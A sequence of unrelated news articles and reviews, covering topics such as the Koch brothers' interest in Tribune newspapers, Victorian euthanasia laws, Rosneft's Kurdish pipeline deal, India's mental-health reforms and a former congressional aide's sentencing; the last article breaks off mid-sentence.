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Today, there are reports that the far-right America destroyers, the Koch Brothers, are out to gobble up the Tribune Company-owned newspapers and possibly its TV Stations. You though Rupert Murdoch was bad? Just wait till you meet the Kochtopus. Think Progress Media: The Koch brothers own Koch Industries, the second-largest private company in America, and bankroll a network of Tea Party groups and Republican political war chests. In 2012, the brothers spent millions to defeat President Obama and even sent mailers to employees urging them to support Mitt Romney and other conservative candidates. David and Charles Koch, billionaire industrialists who own Koch Industries, America's second-largest privately held company, have expressed interest in the Tribune Co. newspapers. The Chicago-based empire emerged from a long bankruptcy Dec. 31 and has hired investment firms Evercore and JPMorgan Chase as offers have come in for its print properties. Tribune Co. spent more than four years in bankruptcy after being purchased by Sam Zell. Following the company's emergence from chapter 11, it named TV industry veteran Peter Liguori, formerly of Fox Entertainment and News Corp., as its CEO. Several Hollywood figures sit on its board of directors, including Ross Levinsohn, CEO of Guggenheim Digital Media, parent company of THR. The Koch brothers have long dominated American industry; their holdings include Georgia Pacific paper products as well as major fertilizer, refinery and oil pipeline companies. More recently they have become known for their financial support of Republican candidates, especially those from the Tea Party, and the fight against regulations and legislation aimed at curbing climate change. The latest rumor about the next owner of the L.A. Times, which is for sale, is a doozy. A bombshell. It's a doozy wrapped in a bombshell exploding inside a Drudge siren. Multiple sources tell L.A. Weekly that Charles and David Koch -- the infamous right-wing billionaire brothers -- are considering an offer on either the Tribune Co. newspaper group, which includes the L.A. Times, the Chicago Tribune and the Baltimore Sun or the entire Tribune Co., which includes more than 20 stations like WGN and KTLA Channel 5. The Koch Brothers are most famous for spending boatloads of money on Republican and libertarian political candidates and causes, favoring lower taxes, fewer regulations and weakening union influence. It's hard to believe there's a chance that the liberal and Hollywood-adjacent Los Angeles Times might one day be owned by the Koch Brothers. Tribune-owned papers: Burbank Leader, Burbank, CaliforniaDaily Pilot, Costa Mesa and Newport Beach, CaliforniaGlendale News-Press, Glendale, CaliforniaHuntington Beach Independent, Huntington Beach, CaliforniaValley Sun, La Cañada Flintridge, CaliforniaCostline Pilot, Laguna Beach, California, Los Angeles, CaliforniaPasadena Sun, Pasadena, California, Hartford, ConnecticutSouth Florida Sun-Sentinel, Fort Lauderdale, Florida, Orlando, Floridaand Redeye, Chicago, Illinois, Baltimore, MarylandThe Morning Call, Allentown, PennsylvaniaDaily Press, Newport News, Virginia Spanish-language newspapers: Hoy, Los Angeles and Chicago El Sentinel del Sur de la Florida, Fort Lauderdale, Florida El Sentinel, Orlando, Florida Tribune-owned TV stations: Cable/Satellite/IPTV: WGN America Tribune-owned radio stations: WGN-AM 720, Chicago, Illinois (home of the Chicago Cubbies) My tweet on how my home DMA (St. Louis)'s CW affiliate KPLR (which is the junior partner in an LMA agreement with Fox affiliate/Local TV-owned KTVI) could be taken over the by the evil Koch Brothers:
Strikingly, for a political newsmaker in a year plagued by grim events, most of the 278 comments about his contribution were positive, and almost all of them were about his work to legalise euthanasia. "Putting political considerations aside, this profound moral question has been discussed and guided through the legislative process in a way that has been respectful, thoughtful and fair to all," wrote one subscriber. "Andrews' gentle handling of the process has been outstanding and demonstrates a sound model on which other parliaments across the country can base their legislation." Many noted the marked difference between the stately progress of the assisted dying reforms through the Victorian Parliament and the rancour that marred the marriage equality debate at federal level. "This quite revolutionary legislation ... has placed [Andrews] in marked contrast to our federal leader who took the 'back protecting' option of a postal vote rather than face the difficulties and opposition of openly pursuing a legislative outcome through leadership," said one commentator. "The country is watching both men. We may agree or not with either, but only one leader stood and worked through the turmoil of his party, the people and the Parliament." Some of the plaudits for euthanasia reforms came from subscribers who were not otherwise fans of the Andrews government. "The euthanasia bill is the only good thing Daniel Andrews has done and hopefully he will be on his way next election." Only one leader stood and worked through the turmoil of his party, the people and the parliament Age reader The state's big-spending, ambitious infrastructure program has its fans too. However, some noted that the Premier's agenda was regularly derailed by scandals brewing within his own party, such as the resignations of speaker Telmo Languiller and deputy speaker Don Nardella over their extravagant allowance claims. "Despite his fractious government populated by in many cases selfish idiots, he has managed to commence an infrastructure program that will be far-ranging and futuristic," wrote one backer. "His 'Death with Dignity' legislation was also visionary and well before time. He'll be remembered as a good Premier." But will he be rewarded with a second term at the end of next year? Just as the assisted dying reforms were sent to the upper house for final debate, the Andrews government suffered a demoralising defeat in the Northcote byelection, losing a long-safe seat by a dizzying swing of 11 per cent to Greens. After a campaign that heavily emphasised Andrews' social reforms – not just assisted dying but safe injecting rooms, rental law reforms and constant campaigning on marriage equality – one of Melbourne's most progressive enclaves rejected the party's renting, vegan female candidate Clare Burns, and instead made the Greens' Lydia Thorpe Victoria's first Aboriginal woman MP. Prenier Daniel Andrews congratulates Health Minister Jill Hennessy on the passing of the euthanasia bill in the lower house. Credit:Justin McManus Monash University politics lecturer Paul Strangio said the euthanasia laws were a significant victory for Mr Andrews and provided a marked comparison with the federal government's chaotic handling of the marriage equality debate. "I don't doubt Victorians' perception of him as someone who has done things in government," he said. "That's contrasted with the [federal] Coalition where there's a sense they're just holding the ship together." But Mr Strangio said the Premier couldn't be confident that Victorians would remember his government's specific achievements when they cast their votes in the state election next November. 2017 AFL Grand Final Match at the MCG. Richmond Football Club won the Premiership Cup against Adelaide Football Club. 30 September 2017. The Age Sport. Photo: Eddie Jim. DUSTIN MARTIN. Credit:Eddie Jim The Newsmaker of the Year poll proved to be the only time this year when Dustin Martin, Richmond's hero who launched a thousand haircuts, came second in any contest, with 14 per cent of the nominations. Martin's stellar season and glorious Grand Final saw him sweep the board of all other medals – Gary Ayres, Norm Smith, Brownlow among them – alongside the Tigers' drought-breaking Premiership. The third newsmaker was not a person at all but a project – the Melbourne Metro attracted 7 per cent of the nominations, possibly for being the only major infrastructure plan that everyone likes. In 2018, as we go to the polls, Victorians are unlikely to see much more of the respectful, bipartisan approach to legislation that played out during the assisted dying debate. Loading Election years are typically bare knuckle stuff, the time for gladiatorial politics and big dollar promises as parties scrap for votes in marginal seats. But as the 2017 newsmaker poll suggests, Mr Andrews' legacy may come from the one time this state did politics differently.
28 Condivisioni Facebook Whatsapp Telegram Flipboard Twitter Pinterest Linkedin Come sappiamo, Google è un forte sostenitore delle energie rinnovabili. E, come tale, il suo obiettivo è quello di aiutare le persone a capire l’importanza di adottare pannelli solari sui tetti delle loro case. E in particolare attraverso il Project Sunroof. Un progetto che, non più di un mese fa, è arrivato in Germania attraverso un accordo con l’azienda elettrica E.ON e lo sviluppatore di software Tetraeder. Considerando gli studi che indicano come non vi sia più possibilità che le persone siano incoraggiate e spronate ad installare pannelli solari sui tetti seppur seguendo l’esempio dei vicini di casa che magari lo hanno già fatto, Google ora mostra su una mappa gli edifici sui quali sono già stati installati i pannelli solari, individuandoli attraverso un punto rosso. Per far questo, le informazioni saranno raccolte attraverso un algoritmo di apprendimento automatico che è in grado di riconoscere i pannelli solari attraverso le immagini satellitari. Per il momento, le informazioni raccolte corrispondono a circa 60 milioni di edifici negli Stati Uniti, anche se da parte di Google l’obiettivo è quello di aggiungere circa 40 milioni in più di edifici di ogni genere nel corso dei prossimi anni. Google ha fatto sapere di aver combinato il machine learning tra Google Maps e Google Earth e le immagini da loro rilevate per determinare quali case sono dotate da pannelli solari. È inteso che le persone possono consultare se i vicini hanno già adottato l’uso di energia solare con l’installazione di pannelli solari sui tetti, in modo tale da poter prendere la decisione di non essere da meno e seguire lo stesso percorso ed esempio.
Melbourne petrol stations restock after running out of fuel when delivery trucks were taken off the road Updated Petrol stations are monitoring their fuel supplies after dozens of delivery trucks were taken off the road by safety inspectors. More than 60 Cootes Transport trucks were suspended from service yesterday as part of a safety audit stemming from last week's fatal tanker crash in Sydney. The company is a major supplier to service stations along eastern Australia. BP has confirmed a number of its Melbourne outlets ran out of unleaded petrol yesterday but a spokesman says they managed to re-stock overnight. The Service Station Association has also confirmed a number of other outlets also ran out of supplies. The Australasian Convenience and Petroleum says Shell has also reported a reduced supply. The Association's Chief executive officer Nick Moulis is reassuring drivers that any shortage should be temporary. "I'd be telling operators to make sure they monitor their stock holdings and keep in close contact with their supplying company. "I know all major oil suppliers have been in contact with cartage companies, including Cootes and others, to make sure that service stations are kept filled." Victorian officers checked 170 Cootes Transport trucks and issued 158 defect notices for issues including brake failures, steering problems and broken engine mounts. VicRoads is also reviewing Cootes Transport's heavy vehicle accreditation. There will also be more vehicle inspections today. Cootes has also ordered independent inspection programs for all its vehicles in South Australia, Western Australia and Queensland. The company also plans to submit the entire fleet to ongoing inspections in all jurisdictions until it is satisfied with its maintenance regime. Petrol stations losing money, but 'don't panic' The Service Station Association says major oil companies have arranged alternative transport,, but some operators are taking a financial hit. Senior Manager Colin Long says they are losing money. "Not good on the operators, but fortunately they've got good convenience stores these days and they've still go the other grades so they'll be selling automotive gas diesel hopefully," he said. "Certainly the popular grades such as the unleaded and the E10 will be running short. Certainly it is having an impact at the retail end. The Victorian Premier Denis Napthine insists there is no need to panic about the state's fuel supply. "The advice I've had is that there's no need for any panic-buying," he said. "There are appropriate arrangements put in place and there were certainly arrangements put in place overnight for fuel to be supplied to those stations that need it." Topics: safety, traffic-offences, road, industry, business-economics-and-finance, road-transport, vic, melbourne-3000 First posted
THOSE looking for a quick bite while they are casting their vote in the federal election now have an online friend to tell them where to go. The www.electionsausagesizzle.com.au website has created an online map for those who want to grab a snack and contribute to local causes before or after they vote. While about 70,000 polling officials will man more than 7700 polling stations around the country on Saturday, thousands of volunteers will also be on hand to help feed hungry voters. So far, more than 370 stalls have registered on the election sausage sizzle website in New South Wales, with 291 in Victoria and 176 fundraisers in Queensland. Unlisted sausage sizzles can also be added at the site. Every Australian will be able to head to the thousands of polling booths around the country from 8am Saturday morning, with voting closing at 6pm. Australian Electoral Commissioner Ed Killestyn said officials would be handling more than one million votes every hour while polls were open. "When you receive your ballot papers the polling official will remind you how to vote correctly," he said. "How-to-vote instructions are listed at the top of each ballot paper as well as on signs located throughout each polling place. "If you make a mistake, simply ask a polling official for a replacement ballot paper and start again." But for those with families or just looking for a snack, there will be sausage sizzles, cakes stalls and other community fundraisers at more than 1000 polling places around the country. The 2013 Federal Election has thus far been a record-breaking one, with more than 1.4 million people voting early and 1.3 million having already put their postal votes in, of a record 14.7 million voters registered. Figures from the AEC also confirm a record number of candidates, with 1717 nominations over numerous independents and 54 different political parties. Voters who will be voting in their own electorate can attend any local polling place, while those interstate will have to go to an interstate voting centre or AEC divisional office. People who want to find their local polling place can go online at www.aec.gov.au/where to find their closest booth. For any other information on how or where to vote, go to www.aec.gov.au or call 13 23 26.
It's not just the Dallas Mavericks who've nudged their way into the race for Greg Oden along with NBA Finals combatants Miami and San Antonio. There are growing indications that the New Orleans Pelicans are going to be a factor in the Oden chase as well. Sources close to the situation told ESPN.com that the Pelicans have been booked for a Wednesday sitdown with Oden and will also get serious consideration from the former No. 1 overall pick as he decides where to relaunch his career after being sidelined since early in the 2009-10 season. The Pelicans, sources said, are building their pitch around the fact that going to New Orleans would enable Oden to make his comeback far away from the media glare and with no immediate pressure to cope with as he tries again to bounce back from the knee issues that have limited the 25-year-old to just 82 career regular-season games since being drafted in 2007. The presence of former Blazers assistant coach Monty Williams as the head man in New Orleans -- someone who already knows Oden well -- is seen as another element working in the Pelicans' favor along with the fact that their young core of players are all in Oden's age range. As ESPN.com reported Monday, Oden is scheduled to have face-to-face meetings this week with the Sacramento Kings and Mavs in addition to the Pelicans. Sources say that the Kings, though, are long-shot contenders when it comes to actually signing Oden and are thus planning a hard push for free-agent center Timofey Mozgov if rebuffed by Oden. The Mavericks, sources say, were scheduled to meet Monday with Oden and are still holding out hope of signing both him and Samuel Dalembert to fill their center void after missing out on top target Dwight Howard. The Miami Heat and San Antonio Spurs have been regarded as leading contenders for Oden's services from the outset of free agency. That's especially true in Miami's case after Heat president Pat Riley hosted Oden for a two-day visit earlier this year before Oden's comeback, through workouts back home in Indianapolis or at Ohio State, progressed to the serious stage it's in now. ESPN.com reported last week that the Cleveland Cavaliers' signing of Andrew Bynum removed the Cavs from the list of contenders for Oden's services. Oden was the top overall pick in the '07 NBA draft out of Ohio State, selected one spot ahead of Kevin Durant. Yet thanks to his numerous knee injuries, Oden hasn't played in an NBA game since Dec. 5, 2009, and was forced to undergo his microfracture knee surgery in February 2012.
Out in the desert, a young would-be monk labors. He is on a mission for his monastery, a week of fasting and privation that all initiates must go through. As he works to create a shelter for the coming night, he sees a traveler approaching. No one travels the desert so he is filled with fear. The man approaches. He is a skinny old man, barely dressed and ready to fight anyone who he sees. He threatens the young man, then after a while, helps him by marking a stone to finish his shelter. After he leaves, the initiate removes the stone he has marked and finishes his shelter. Removing the stone creates a landslide and steps are revealed. What has been buried is the entrance to a bomb shelter, for this is the age after the world has gone through nuclear annihilation. Few people remain and those that do mistrust each other. Roaming tribes kill everything in their path and intellectuals are disdained as they were the ones who created the bombs that ruined civilization. As the initiate explores, he finds a box with fragments of writing. Even more amazing, the fragments carry the name of Leibowitz, who is the man for whom the monastery exists. For these monks are charged with preserving what little writing and knowledge exists. They bury barrels of writing material in remote places and copy the words of existing manuscripts, even when they have no idea what the words mean. What follows is a bleak exhibit of humanity. The reader sees the world through the eyes of time. Over the centuries, men start to value knowledge again. They rediscover the natural principles that underlie all progress, and painstakingly, over centuries, civilization rebuilds to the point that sophisticated machines and computers once again exist. Yet, every time progress is made, it is accompanied by the human nature that cannot help but tear it down again. This novel is considered a classic of science fiction. It demonstrates a fear of learning and an underlying negativity about human nature. Yet, along with the bleakness, there is always a tendril of hope, someone who risks all in order to learn and spread knowledge. This book is recommended for science fiction readers.
Russian energy major Rosneft has agreed to take control of the main oil pipeline in Iraq’s Kurdistan, further boosting its role as the main international investor in the semi-autonomous region. The move is an apparent part of a broader strategy by President Vladimir Putin to ratchet up Moscow’s political and economic influence in the Middle East. It came amid the crisis in Kurdistan’s relations with the central government in Baghdad, which erupted after the region held an independence referendum last month. Rosneft said its share in the project may total as much as 60 percent, while the current pipeline operator, KAR Group, will retain 40 percent. Sources familiar with the deal said Rosneft’s investment in the project will total about $1.8 billion. Rosneft also will invest in expanding Irbil’s independent pipeline, which Baghdad has targeted, hoping to boost its capacity by a third to 950,000 barrels per day. That is the equivalent of about 1 percent of total global supply. With Rosneft acquiring 60 percent in the project, the Kremlin oil major effectively becomes a controlling stakeholder in Kurdish oil infrastructure. That should give Irbil some sense of security as it faces unprecedented pressure from its neighbors. Rosneft has already agreed to invest $400 million in five oil blocks in Iraqi Kurdistan. It also had previously loaned Kurdistan $1.2 billion, guaranteed by oil sales, and is seeking to help Irbil build two major oil and gas pipelines. The pipeline deal comes days after Baghdad threatened to re-route a big chunk of oil flows toward an old oil pipeline, which has been out of operation for several years since Kurdistan built its own infrastructure to the Turkish Mediterranean port of Ceyhan. The main lifters of the oil there are trading houses Vitol, Petraco, Glencore and most recently Rosneft via pre-financing deals. Igor Sechin, Rosneft’s influential chief executive officer, said Thursday that Kurdish authorities and Baghdad have to resolve their differences by themselves. Iraq, along with neighboring Iran and Turkey, has pledged to isolate Kurdistan in the wake of last month’s referendum. That includes cutting off air and banking ties and reviving an old pipeline to Turkey to deprive Irbil of a big chunk of oil revenues.
Archaeologists and historians have begun to convert social theories to computer programs, intending to simulate social processes and historical trajectories of known societies. We can mention two kinds of approaches: implementing a social theory of human action in the past to test the internal coherence of such a theory or explaining historical/archaeological data with some hypothesis from ethnographic research. A good example of the first kind of historical simulation was Jim Doran's EOS system (Doran and Palmer 1995). Doran and colleagues explored a computational interpretation of growth of social complexity in the Upper Paleolithic period (around the time of the last glacial maximum) relating changing features of the natural environment to the emergence in the prehistoric past of centralized decision making, hierarchy and related social phenomena. This application opened a new way of doing historical research, and its long-term consequences merit still a detailed examination. More or less in the same years, Doran and collaborators built the very first artificial prehistoric societies, Epstein and Axtell associated with archaeologists built the Virtual Anasazi artificial society, whose objective was explaining historical/archaeological data with some hypothesis from ethnographic research. The book edited by Timothy Kohler and Mark D. Varien takes this second approach, and it is an impressive improvement on any early effort. The book is an example of agent-based modeling designed to investigate where prehistoric people of the American Southwest would have situated their households based on both the natural and social environments in which they lived. The idea has been to define nuclear families (households, the smallest social unit consistently definable in the archaeological record) as agents, and loosed them on landscapes, which have been archaeologically studied for different historical periods, and plenty of paleo-productivity data exist. The model is used to predict individual household responses to changes in agricultural productivity in annual increments based on reconstructions of yearly climatic conditions, as well as long-term hydrologic trends, cycles of erosion and deposition, and demographic change. The simulation imitates the target data by computing the individual agents' behavior in response to some input environmental data, by computing the effects of the individual behaviors on the environment, and by computing the repercussions these environmental effects have on individual agents. The performance of the model is evaluated against actual population, settlement, and organizational parameters. By manipulating numbers and attributes of households, climate patterns, and other environmental variables, it is possible to evaluate the roles of these factors in prehistoric culture change. Here the household is a theoretical construct, but it moves on a historically defined environment, which is the most precise available archaeological data allow. Written by 16 authors, all of them collaborators of a research team that has been working on the subject for more than 12 years, the book illustrates in detail how paleo-environmental data have been investigated, how the climatic processes can be reconstructed and the productivity of landscape estimated in order to understand evolving social actions along a historical trajectory of changes and transformations, both technological, economic, social, cultural and political. The authors have also tried to include the natural production and human degradation of what they consider Critical Natural Resources into the agent-based simulation modeling of household settlement patterns. Archaeological data show how agricultural yields varied greatly from year to year, and the simulated model suggests how prehistoric farmers would have needed to adapt mechanisms to reduce their uncertainty of future yields. One such mechanism thought to be important is reciprocity between households. After a reasonable model of agent planting, authors explain how agents may be endowed with balanced reciprocity behaviors and adaptive encodings of exchange, placing the households into a social and an economic network or other (related and unrelated) households. This model is flexible enough to evolve according to agent interactions and changes in the world environment. By demonstrating the ease with which populations could have depleted natural resources in this environment, the simulation builds a context in which changes in farm land, agriculture, craft production, architecture, frequency of axes, and so forth, can be more plausibly interpreted. More than the particular results of this prehistoric research, the book shows what does it mean to simulate historical processes. By implementing social events as computational agents and their mutual influences as interactions, an "historical" simulation assumes that collective action is accentuated by continuous transitions and transformations between subjects. The explanatory model also takes into account needs, motivations, goals, behavior, signs, tools, rules, community, division of labor, and the embedded hierarchical levels of collective motivation-driven activity and individual goal-driven action. The advantages of such an approach are obvious. Historical agents are not static entities, with a precise position, nor a fixed impulse. They have always different possibilities for action, according to the characteristics of the context and circumstances in which the action or actions takes place. Social action is the joint result of the modalities of the action, the other social agents who act in their spatiotemporal neighborhood, the forms of collaboration or lack of collaboration between social agents, the power relations which prevent to conduct certain actions or force to execute others, etc. The book edited by Kohler and Varien is a very good effort in this direction. There are many publications that insist on the necessity of simulation approaches to understand history (e.g., Epstein 2006; Christiansen and Altaweel 2006; Kohler and van der Leeuw 2007; Barceló 2009; Costopoulos and Lake 2010). Although not unique, it is one of the best ones available, specially for its detailed account of all elements concerned with the simulation. Maybe some of the chapters can appear too technical for non-archaeologists, but in general this is a compulsory reading for anyone interested in a revolutionary change in the current paradigm of historical research. To conclude, I share the same view as the authors of this fundamental book: archaeology is not limited to the reproduction of stones, walls, buildings, pottery sherds, animal carcasses, but is an in-depth study of chronologically ordered sequence of changes and modifications acting over the consequence of former changes and modifications. Thanks to distributed simulations like that presented in the book, the Past will be seen inside a computer not as it once was, but as potentialities for explanation.
Protesters shouted over Virginia Republican gubernatorial candidate Corey Stewart as he gave interviews about his opposition to removing a Robert E. Lee statue from a Charlottesville park in February. (Fenit Nirappil/The Washington Post) RICHMOND — For a minute there, it looked like Corey Stewart’s bid for Virginia governor had morphed him from Confederate flag-waver to fully costumed Confederate reenactor. He turned up at the Old South Ball in Danville during the weekend, sporting a bow tie and dark bolero jacket bedecked with lots of shiny buttons. In a video he posted online, the former chairman of President Trump’s Virginia campaign looked right at home with all of the women in hoop skirts and men in Civil War-era uniforms. Stewart has made preservation of Virginia’s Civil War memorials a cornerstone of his primary race against political strategist Ed Gillespie and state Sen. Frank Wagner (Virginia Beach). At the ball, he made yet another rousing pitch for doing just that. [Donald Trump ‘mini-me’ struggles to find an audience in Virginia] “Over my dead body when I’m governor of Virginia are we ever going to take down the statue of Robert E. Lee or Stonewall Jackson or any hero of the commonwealth of Virginia,” he roared in a dance hall plastered with the Stars and Bars. He put in a good word for the flag, too. (Corey Stewart/Facebook) “I’m proud to be next to the Confederate flag,” said Stewart, a Minnesota native and chairman of the Prince William Board of County Supervisors. “That flag is not about racism, folks. It’s not about hatred. It’s not about slavery. It’s about our heritage. … It’s time that we stop running away from our heritage. It’s time that we embrace it.” So is it also time to dress up like Virginia is still the capital of the Confederacy? Apparently so for anyone attending the ball, an annual event that raises money for wounded veterans but has drawn criticism for glorifying the days of slavery. [Corey Stewart declares victory for free speech after two venues back out of immigration rally] Stewart did not actually have requisite attire on hand. He had to make do with something in his closet. “That’s my kilt jacket,” Stewart explained in an interview Tuesday. “It’s called the Prince Charlie. It’s the best I could do on short notice. They told me, ‘Wear a tuxedo.’ So that’s my tuxedo top.” In a nod to his Scottish ancestry, Stewart normally sports the jacket with a kilt at black-tie events. This time, he paired it with pants. And when he does wear the kilt, Stewart is not a stickler for tradition. “I don’t wear it properly. I guess tradition is, you’re not supposed to wear anything under it,” he said. “But I definitely do. Don’t worry about that.”
After watching Frozen hundreds of times, it has started to rub off on most things in our life. We want every snowman to talk, we appreciate clothes with rosemaling, and we want to be awake when the sky is awake. We’ve also noticed that some of our favorite Disney males are what the trolls would call, “fixer uppers.” With that said, here are some other Disney males who could use a little help, inspired by our favorite fixer upper, Kristoff. Beast He could use some tips on personal grooming. Mickey For obvious reasons, Mickey is often late for dates with Minnie. Simba It takes Nala, Rafiki, and a powerful chat with spirit Mufasa to talk Simba into becoming the king he is destined to be. Tarzan Some extra classes in social behavior wouldn’t hurt. Prince Naveen It wasn’t until he turned full frog that he became a true gentlemen. Kuzco Kuzco wouldn’t agree with us on this, but he could use a lesson or two in manners. Eeyore He should learn to stop losing his most valuable possession. Flynn Rider Thief on a wanted poster with a funny nose? Our moms would not be happy about (early) Flynn. Aladdin We love street rat Aladdin, but we don’t support stealing. Hans This is an obvious one. Although, we’d like to think that if Hans didn’t let power cloud his judgement things could have ended differently. To conclude: ♫ So he’s a bit of a fixer-upper, but this we’re certain of: You can fix this fixer-upper Up with a little bit of love! ♫ Posted 5 years Ago
Back in 1996 the Web was starting to gain some serious momentum, but it was still just a few years old. Now in 2008, looking 12 years back into the past of the Web can be a both nostalgic and entertaining experience. To give you some perspective, in 1996… Google.com didn’t exist yet. In January 1996 there were only 100,000 websites, compared to more than 160 million in 2008. The web browser of choice was Netscape Navigator, followed by Microsoft Internet Explorer as a distant second (Microsoft launched IE 3 in 1996). Most people used dial-up Internet connections with mighty speeds ranging from 28.8Kbps to 33.6Kbps. Highly modern 56Kbps modems would arrive in 1997. People had only recently started to switch from 640×480 to 800×600 screen resolutions. We have used the good old WayBack Machine (a.k.a the Internet Archive) to track down screenshots of what websites looked like back in 1996-97. Yahoo In 1994, “Jerry’s Guide to the World Wide Web” had been renamed to “Yahoo!”. The Yahoo.com domain was created in January 1995. In 1996, Yahoo was well on its way to becoming one of the major Web portals. Internet Archive link. Webcrawler Webcrawler got started in 1994 and was the first Web search engine to provide full text search (making it the first modern-day Web search engine). Internet Archive link. Altavista Altavista was a search engine created by DEC that launched in 1995 and quickly gained massive popularity. Aside from strong traffic to their own website, in 1996, Altavista became the exclusive provider of search results to Yahoo. Internet Archive link. Ultimate Band List Started in 1994, Ultimate Band List (UBL) provided a popular music database with information about artists, concerts, record labels, and so on. Kind of a Last.fm of the time. Internet Archive link. Lycos Founded in 1995, Lycos quickly grew into one of the most popular portals and search engines on the Web. By 1999, Lycos was the most-visited Web portal in the world. Internet Archive link. Netscape Founded in 1994 (originally as Mosaic Communications Corporation), Netscape is one of the true pioneers of the Web. In 1996, Netscape Navigator was the leading Web browser by a large margin. Microsoft had started going after market shares with Internet Explorer, but had not yet gained a firm footing. Internet Archive link. MSN MSN (The Microsoft Network) got started as a set of Internet services in 1995 (it was launched in connection with Windows 95). It was originally intended to be both an online service and an Internet service provider along the lines of AOL. Internet Archive link. Apple In 1996, Steve Jobs had not yet returned to Apple (he did that in 1997) and the company was losing market shares. Mac OS 8 was on the way (as you can see in the screenshot) and the good old Newton PDA was still being sold. Internet Archive link. Excite Founded in 1994, Excite was yet another popular player in the increasingly crowded Web portal market. The website itself was formally launched in December 1995. Internet Archive link. Tripod Launched in 1995, Tripod was originally billed as a “hip web site and pay service for and by college students,” but mainly became known as a place where people could create free web pages (à la GeoCities). Tripod would later be bought by Lycos. Internet Archive link. The New York Times In 1996, the New York Times website was dead set on getting users to sign up to access any Web content at all. Internet Archive link. Things certainly have evolved a bit, haven’t they? To be fair, the end-user Internet connections of the day would never have been able to handle most of today’s media-heavy websites without them turning slow as syrup, and the relatively fine-grained design control we have these days with for example CSS was not available at the time. What were your favorite websites back in 1996-97? Share with us! 🙂
GORAV GUPTA has spent his life helping the mentally ill. But when suicidal patients seek help at his psychiatric hospital in Delhi, he turns them away. Mr Gupta says he cannot handle the “legal hassle” that might ensue if they try to end their lives while in his care. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Attempted suicide, as well as “any act towards the commission” of suicide, has for years been a crime in India. But on March 27th the Lok Sabha, India’s lower house, passed a package of mental-health reforms, among them one that decriminalises attempted suicide. The bill declares access to psychiatric care to be a right for all Indians, and promises a huge boost in funding to help provide it. Policymakers in India have long argued that people driven to attempt suicide need rehabilitation. But under the previous law, they instead faced punishment: a fine and up to a year in prison. Prosecution was rare, but the threat of it to extract bribes from the families of those who attempted suicide was not, says Soumitra Pathare, who helped draft the new legislation. Others point out that the government has previously used laws against attempted suicide to lock up activists who stage hunger strikes. The next step in mental-health reform is to allocate more money and expand the workforce, says Mr Pathare. Mental health made up just 0.06% of India’s health budget in 2011; the median in countries of comparable development is 1.9%. Despite having a population more than 50 times bigger than Australia’s, India has around the same number of psychiatrists (just 3,500). Yet the reforms are unlikely to reduce India’s suicide rate, which, adjusting for age, is almost double that of America. Researchers often attribute large numbers of suicides in Asian countries to “impulsive” acts in moments of crisis, rather than diagnosable mental disorders. Limiting access to pesticides, poisons that are close at hand for most rural Indians, may prevent such deaths, as it has in Sri Lanka. Unlike many countries, India has no national suicide-prevention plan. More can be done to break the taboos that prevent the depressed from opening up to friends and doctors. The big challenge is to improve the lot of India’s young, among whom suicide is the leading cause of death. Suicide rates in Asia tend to shoot up as people enter old age; in India the opposite is true. The suicide rate for women aged 15-29 is more than double that of any other country except Suriname (which has a large Indian population) and Nepal (which shares many cultural similarities). In future they, and other Indians, may find it easier to seek psychological help without fear. But the world they are living in cannot be regulated away.
Donny Ray Williams Jr., a former Democratic congressional aide, pleaded guilty to sexually assaulting two women. His face was disfigured by an unrelated acid attack a year after his arrest. The protrusion on Williams’ head is the result of a rod surgically implanted to stretch the skin and promote healing. (Ricky Carioti/The Washington Post) She sat in the back of the courtroom, wearing oversize black sunglasses, watching as the former Democratic congressional aide was sentenced for slipping a sedative into her drink and then raping her. It was the summer of 2010, and she had just arrived in Washington as a student intern. When they met, she believed Donny Ray Williams Jr., the longtime aide and former staff director for a Senate Homeland Security and Governmental Affairs subcommittee, could help her find a job with Congress. But instead, she later told authorities, Williams drugged and assaulted her. “He gave me a random dose of drugs and risked my life,” the woman wrote in a letter read during the D.C. Superior Court hearing last week. “After the assault, I moved away, and he continued to harass me and threatened me to drop the charges. This crime has caused me fear, pain and a financial burden.” [Former congressional aide accused of drugging, assaulting women] In the letter, the woman asked that Williams, who pleaded guilty to assaulting her and another woman and threatening a third person, be given “some jail time.” The other two people were not present in court. Donny Ray Williams of the District poses for a photo in Washington. (Ricky Carioti/The Washington Post) But as part of the plea deal, prosecutors agreed to ask the judge to suspend a 4 1/ 2 -year prison term, meaning Williams will remain free as long as he stays out of trouble. Though the man before them had committed serious offenses, a prosecutor said, he had also suffered as a victim of an unrelated crime. About a year after his arrest on the sex-assault charges, Williams was severely disfigured and badly injured after acid was thrown on his face. Authorities are still investigating the attack, and no arrests have been made. During the hearing, Assistant U.S. Attorney Sharon Marcus-Kurn said Williams used his position to prey on his victims. “It was done with foresight, intentionally and deliberately,” Marcus-Kurn said. “The impact on these women is life-changing.” But the prosecutor said the defendant’s life also was dramatically changed when he became a victim. She noted that Williams has had more than 20 surgeries, his vision is impaired and he faces additional “life-threatening” surgeries. Judge Robert E. Morin said in court that he reluctantly agreed to suspend the prison term, noting he ultimately concluded the government’s reasoning was “practical and reasonable.” “He was a victim of an independent crime and has serious medical issues,” Morin said. In addition to the suspended term, he sentenced Williams to five years of supervised probation and ordered him to register as a sex offender for 10 years and undergo counseling. On July 3, 2013, Williams was walking down a Northwest Washington street when a man walked up and asked, “Hey, how are you man?” Williams, not recognizing the man, said “hey.” The man then threw liquid in Williams’s face, and it ran down his body. Williams said he initially thought it was coffee. But then he felt pain as if his body were on fire. “I thought I was going to die,” he said in an interview earlier this year. He suffered second- and third-degree burns and spent nearly two months in the hospital. He is blind in one eye, and his vision in the other is greatly diminished. Williams said he thinks his attacker was the jealous ex-boyfriend of a woman he was dating. Now, unemployed and living off his savings and help from his parents, he has amassed more than $1 million in medical bills. The political life he has aspired to live and has worked in since college is over. It was a stunning fall for a young man who once had a promising future. Williams was a member of the staff of the Senate Homeland Security and Government Affairs disaster recovery subcommittee from 2002 to 2007 and staff director for a subcommittee from April 2010 to July 2011. He began his Capitol Hill career in 1999 when he went to work for Rep. Elijah E. Cummings (D-Md.). Williams said he grew up wanting to be a teacher, but while working for Cummings, he fell in love with politics. He went on to work for panels chaired by former senators Joseph I. Lieberman (I-Conn.) and Mary Landrieu (D-La.). He also said he worked for former senator Herb Kohl (D-Wis.) and Rep. Jan Schakowsky (D-Ill.). After the Sept. 11, 2001, terrorist attacks, Williams was tapped to work on the Homeland Security Act of 2002, which created the Homeland Security Department. In 2005, he worked on Landrieu’s committee in an effort to rebuild New Orleans after Hurricane Katrina. In 2009, Williams spent a year in the White House working for the Obama administration as a congressional liaison for the U.S. Department of Housing and Urban Development. “We were helping making changes in lives,” 